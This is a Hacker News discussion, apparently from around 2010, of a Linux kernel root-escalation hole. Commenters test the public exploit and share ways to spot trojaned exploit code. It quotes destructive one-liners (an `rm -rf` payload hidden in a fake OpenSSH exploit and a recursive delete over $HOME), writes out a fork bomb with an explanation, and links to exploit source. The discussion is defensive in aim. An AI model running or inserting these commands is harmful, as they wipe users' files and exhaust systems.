Hole in Linux kernel provides root rights(h-online.com)

69 pointsby spahlvor 16 Jahren32 comments

Hole in Linux kernel provides root rights

http://www.h-online.com/open/news/item/Hole-in-Linux-kernel-provides-root-rights-1081317.html

34 comments

jacquesmvor 16 Jahren

Strike one for regression testing.

I tried the exploit on all our 64 bit boxes and it seems to fail on every one of them.

Here are the uname -a strings from a representative sample:

Linux c01_04.ttc.com 2.6.17.11 #3 SMP Wed Oct 10 06:16:52 EDT 2007 x86_64 GNU/Linux

Linux root-desktop 2.6.31-16-generic #53-Ubuntu SMP Tue Dec 8 04:02:15 UTC 2009 x86_64 GNU/Linux

Linux eleven.ttc.com 2.6.15 #2 SMP Thu Mar 9 09:06:54 EST 2006 x86_64 GNU/Linux

Linux backup01.ttc.com 2.6.25-14.fc9.x86_64 #1 SMP Thu May 1 06:06:21 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux

On the last one it exits with 'symbol table not available, aborting!'.

Off-topic, how many of you actually review a program like this before running it?

viraptorvor 16 Jahren

I try to. Most of the time if you see a #define that is not a simple constant in an exploit, it should be at least preprocessed... There are a lot of "ssh exploits" that are really `rm -rf /` wrappers with some interesting preprocessor abuse.

jacquesmvor 16 Jahren

That's what I do, I run it through cpp first and read the code from where the include files end, just to make sure someone isn't social engineering me into doing something stupid.

In case anybody wants to read the code preprocessed it's here:

http://ww.com/robert_you_suck.txt

Now of course you have to assume I'm telling you the truth, but that's easy enough to verify.

Paranoia has no limits ;)

viraptorvor 16 Jahren

My faviourite is probably the last openssh 0day "exploit": http://antihackerlink.or.id/0day-for-openssh-0pen0wn-is-spre...

See what happens with the "fremote(jmpcode)" function in 'main()'.

jacquesmvor 16 Jahren

nasty:

rm -rf ~ /* 2> /dev/null &;

nodatavor 16 Jahren

> I run it through cpp first

Any particular switches you use?

jacquesmvor 16 Jahren

No, just cpp file.c > out.txt

jrockwayvor 16 Jahren

In this case, an evil system administrator could change the text of /proc/kallsyms (probably via a hacked libc and LD_PRELOAD, or just the hacked libc) and then execute arbitrary code as you, because the exploit code uses an unchecked write into a stack variable (and who compiles their exploit code with a stack protector).

I am almost tempted to do this, use the exploit to get root on my work machines, and then replace the libc... just to see if anyone else tries the exploit. (Note to the literal: not really.)

execv("/bin/sh -c 'for i in `find $HOME`; do echo "rm -f $i"; done', 0);

jacquesmvor 16 Jahren

Hehe, that's a funny way to reverse an attack.

I don't think that sysadmin would qualify as 'evil' though.

It'd be even more fun if they had gotten to it before you and you ended up wiping your own files like that ;)

X-Istencevor 16 Jahren

Which exploit are you running? The one that was posted on full disclosure: http://seclists.org/fulldisclosure/2010/Sep/268 includes bypasses for selinunx, and used to include code to bypass grsec.

leifvor 16 Jahren

I usually review but don't run it....

jacquesmvor 16 Jahren

:(){ :|:& };:

Tempting though, isn't it ?

leifvor 16 Jahren

That's not a problem to read, and it's really easy to recognize since everyone's been sent it at some point in their life.

For those having trouble:

    bomb() {
      bomb | bomb &  # spawns two subprocesses, each running bomb
                     # on one end of a pipe, neither will die
                     # so long as the other exists
    }
    bomb             # kick off the bomb

X-Istencevor 16 Jahren

On any system with sane defaults for limits this won't crash the machine merely bog it down a tad.

I've successfully ran it on FreeBSD machines without any issues, now on Linux or Mac OS X it is bad news :P

1amzavevor 16 Jahren

Hm? Though on Linux I'm sure it varies from distro to distro, my Fedora 10 box has ulimit -u at 1024, and my OSX 10.6 install has it at 266 (2^8 + 10? Wonder how they decided on that number).

(And yes, I tried forkbombing them for the hell of it, both systems took it entirely in stride, as would be expected.)

Does anyone know of any current distros that don't set a sensible process limit in the default install?

avarvor 16 Jahren

On both Debian and Ubuntu `ulimit -u` returns `unlimited` for me.

thrasvor 16 Jahren

jseanvor 16 Jahren

How come Robert sucks?

edit: ok, if you didn't notice source's filename; http://sota.gen.nz/compat2/robert_you_suck.c

And just in case... also ;)

blasdelvor 16 Jahren

There's a tradition of ridiculous file names for these things, like jessica_biel_naked_in_my_bed.c

viraptorvor 16 Jahren

Both file names and nicks really - Przemysław Frasunek listed in the code is (was?) also known as "babcia padlina" (grandma carrion)

jacquesmvor 16 Jahren

Dobrze rozumiec :)

psiconautvor 16 Jahren

ea = [robert, tavis, ben]; assert uploader in ea[1:] :p

Somewhere in the kernel, 2008: "hey, what are these lines for? nah, we are safe removing them..."

edit: robert is the author of the original exploit, that resurfaced when ben found the patch had gone from kernel.

leifvor 16 Jahren

From that file, this guy http://swiecki.net/index.html is mentioned a few times in the comments, I'd guess it's him (perhaps this is what the other reply to this thread meant).

rbanffyvor 16 Jahren

Anyone would like to explain why stuff like this is not automatically tested? Introducing tests into the kernel source tree would actually help its development and prevent incidents like this, wouldn't it?

mfukarvor 16 Jahren

How would you go about testing system calls?

rbanffyvor 16 Jahren

Why not?

I understand device drivers cannot be easily tested (unless we write accurate hardware simulators, which can be done with a lot of effort), and the same happens with time-critical stuff (that could be solved with even more hardware emulation) but this kind of stuff (checking if a known exploit fails) could and should be tested in automated fashion.

Not everything can be tested reliably and automatically, but what can, should.

mfukarvor 16 Jahren

Oh, you're talking about regression testing. While you have a point, I'd like to point out a recent vulnerability [1] that would likely fail many a test for two reasons:

- The bug is not concrete. It's not entirely in the kernel, and it's not entirely in userspace.

- The developers have a poor understanding of the bug. The current "fix" only mitigates the problem. There are system configurations where it can still be exploited. There are other issues [2] that arise from large address space management that are waiting to be fixed because of this.

But I agree that regression testing for the whole kernel tree should probably be implemented. (for the various subsystems, many developers develop their own test suites)

[1] http://theinvisiblethings.blogspot.com/2010/08/skeletons-hid... [2] http://grsecurity.net/~spender/64bit_dos.c

[deleted]vor 16 Jahren

RexRollmanvor 16 Jahren

It's open source. We are all testers.

rbanffyvor 16 Jahren

That's not an excuse for not having proper automated tests in place.

jrockwayvor 16 Jahren

Incidentally, there are several buffer overflow errors in the exploit code.

amackeravor 16 Jahren

Exploits for the exploits?

bustamovevor 16 Jahren

just tried the exploit on my slicehost box and it successfully root it!

bustamovevor 16 Jahren

~# uname -a Linux slice 2.6.32.12-rscloud #26 SMP Mon May 17 12:35:34 UTC 2010 x86_64 GNU/Linux